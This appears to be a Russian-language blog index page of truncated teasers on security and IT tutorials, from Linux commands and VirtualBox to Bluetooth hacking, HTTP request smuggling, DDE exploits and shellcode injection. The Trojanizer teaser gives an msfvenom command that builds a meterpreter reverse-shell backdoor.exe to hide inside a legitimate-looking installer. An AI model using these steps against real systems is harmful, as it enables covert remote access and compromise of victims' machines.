#Полезное По материалам Frequently Asked Questions: Submarine Cables 101 25 сентября 1956 года был введен в эксплуатацию первый трансатлантический телефонный кабель. Перед вами небольшой FAQ на тему того, почему Интернет и по сей день живет не в небе, а под водой. Почему телекоммуникационные компании не используют спутники вместо кабелей? Спутники отлично подходят для некоторых целей: их можно использовать для той местности, где ещё нет оптоволоконных кабелей, плюс они могут транслировать информацию из одной…

#Обучение  В данной статье я расскажу о полезных и нужных командах, которые упрощают нашу жизнь в Linux, во время работы в Терминале. Речь пойдет о less, grep, clear и др.  Использование команды less. Очень часто попадается ситуация, когда Терминал выдает очень много информации, которая вся не помещается в окне, и даже прокрутка покажет лишь часть информации. Как быть в этом случае? Есть 2 способа решения.  а) Использовать вывод информации в текстовый файл. Допустим мы хотим узнать информацию о начинке системного…

#Обучение Сегодня мы поговорим о том, как установить Win в VirtualBox и изменить железо в виртуальной машине. Для начала нужно установить VirtualBox. Но! Нужно отключить в процессе установки сетевое окружение (virtualbox network), если вы установили бокс с сетевым окружением, то удалите бокс и установите заново (без сетевого окружения). Мы установили VirtualBox и скачали образ Win7. Образ нужен англоязычный. Лучше 64 бита. Приступаем к настройке. Открываем наш VirtualBox и нажимаем кнопку «Создать». Откроется…

#Обучение На текущий момент, bluetooth встроен почти во все наши гаджеты: смартфоны, компьютеры, плееры, наушники, геймпады, клавиатуры, мышки и многие другие устройства. В данной статье внимание будет сосредоточено на взломе мобильных устройств, планшетов и телефонов, поскольку они являются наиболее распространенной целью взломов. Возможность взлома Bluetooth может подвергнуть опасности почти любую информацию на устройстве(фотографии, тексты, переписки, электронные письма, списки контактов и т.д.). Кроме этого…

#Обучение HTTP request smuggling — это атака, при которой злоумышленник вмешивается в обработку последовательности HTTP-запросов, которую веб-приложение получает от одного или нескольких пользователей. Уязвимости, связанные с HTTP request smuggling, часто имеют критический характер, позволяя злоумышленнику обойти меры безопасности, получить несанкционированный доступ к конфиденциальным данным и напрямую скомпрометировать информацию других пользователей приложения. Примечание HTTP request smuggling впервые была…

#Обучение В наши дни, когда всякие нехорошие элементы так и норовят влезть в ваш трафик и как-то там напакостить, стало модным шифрование трафика. Начинание это благое и полезное, вот только делают его зачастую избыточно. Если шифрование трафика до доверенного сервера, типа своего VPS, — ваша единственная цель, то OpenVPN для такой цели слишком наворочен. Его долго настраивать, легко обнаружить, а главное — есть подводные камни, не зная которых можно получить такую ситуацию, что VPN стоит, а трафик идёт в обход.…

#Обучение Attack Monitor — это приложение на Python, разработанное для расширения возможностей мониторинга безопасности рабочих станций / серверов Windows 7/2008 (и всех более поздних версий) и для автоматизации динамического анализа вредоносных программ.  Текущие режимы (взаимоисключающие):  Обнаружение конечной точки (ED)   Анализ вредоносных программ (на выделенной виртуальной машине)  На основании событий из:  Журналы событий Windows  Sysmon  Watchdog (библиотека Python для мониторинга файловой системы) …

#Обучение Для безопасного хранения Bitcoin(далее BTC), используйте те кошельки, в которых приватные ключи принадлежат только Вам, не используйте биржи, онлайн кошельки (если Вы не трейдер) и другие сервисы, где Ваши средства могут быть в опасности. Рекомендую использовать для хранения ваших BTC официальный кошелёк разработчиков Bitcoin Core Качаем 64 bit или 32 bit (zip) архив в зависимости от разрядности Вашей операционной системы, в данном случае у меня 64BIt Windows поэтому я скачал кошелек на 64bit. Если…

#Обучение  WannaCry, NotPetya, BadRabbit и другие — вирусы-шифровальщики, которые гремели на весь мир ещё около года-двух назад. Сегодня об атаках таким типов вирусов шума меньше, но истории с атаками всё равно происходят. В этой статье я покажу один из инструментов для остановки атаки такого вируса: быстро выявить вторжение и локализовать проблему. Всё это при помощи инструмента для лог-аналити и защиты от вторжений Quest InTrust. Под катом скриншоты и ссылка на репозитории вредоносных скриптов. Погнали! …

#Обучение  TikiTorch был назван в честь CACTUSTORCH Винсентом Ю.  Основная концепция CACTUSTORCH заключается в том, что он порождает новый процесс, выделяет область памяти, а затем использует CreateRemoteThread для запуска желаемого шелл-кода в этом целевом процессе.  И процесс, и шелл-код задаются пользователем.  Это довольно гибко, поскольку позволяет оператору запускать агент HTTP в процессе, таком как iexplore.exe, а не в произвольном порядке, таком как rundll32 или powershell.  TikiTorch придерживается…

#Обучение Со времени выхода в свет Win2000 прошло уже 20 лет. Её разработчики, с чувством исполненного долга предвкушали себе счастливую старость, но грянул гром – система оказалась дырявой как сито, и на данный момент счёт её обновлениям потеряла наверное уже и сама Microsoft. Ознакомиться с установленными на вашем узле заплатками можно в командной строке, запросив systeminfo. Каждый сервис-пак SP несёт в себе кучу таких обновлений, игнорировать которым (с точки зрения безопасности) глупо. На скорую руку…

#Обучение Эксплуатация DDE также была известна как динамический обмен данными, она позволяет передавать данные между приложениями без какого-либо взаимодействия с пользователем.  Хакеры использовали этот метод для выполнения вредоносных скриптов для компрометации данных.  Об этом сообщили в Microsoft от Sensepost, Etienne Stalmans и Saif El-Sherei, но это не было исправлено, так как многие приложения используют протокол DDE.  Этот эксплойт не требует включения макро-функции.  Предпосылки — DDE эксплойт  Windows…

#Обучение Инструмент Trojanizer использует WinRAR (SFX), чтоб сжать два файла между собой и преобразовать их в исполняемый архив SFX (.exe). SFX-архив при работе запускает оба файла (наш payload и легальное приложение одновременно).  Откуда скачать? git clone https://github.com/r00t-3xp10it/trojanizer.git Далее создаем пейлоад, используя msfvenom msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4466 -f exe > /root/Desktop/backdoor.exe Запуск Trojanizer Переходим в папку с Trojanizer…

#Обучение  Рассмотрим очередную "бомбу" под названием "Advanced Space Layout Randomization" ASLR, которая начиная с Win-7 призвана рандомно менять базу образа в памяти. Отметим, что все системные файлы Win запускаются с включённым механизмом ASLR, но у сторонних приложений он может быть отключён. Чтобы наши программы влились в эту струю, нужно указать это явно, посредством флага компиляции "/DYNAMIC_BASE". Для образов прикладных программ, новая рандомная база вычисляется при каждом запуске исполняемого файла.…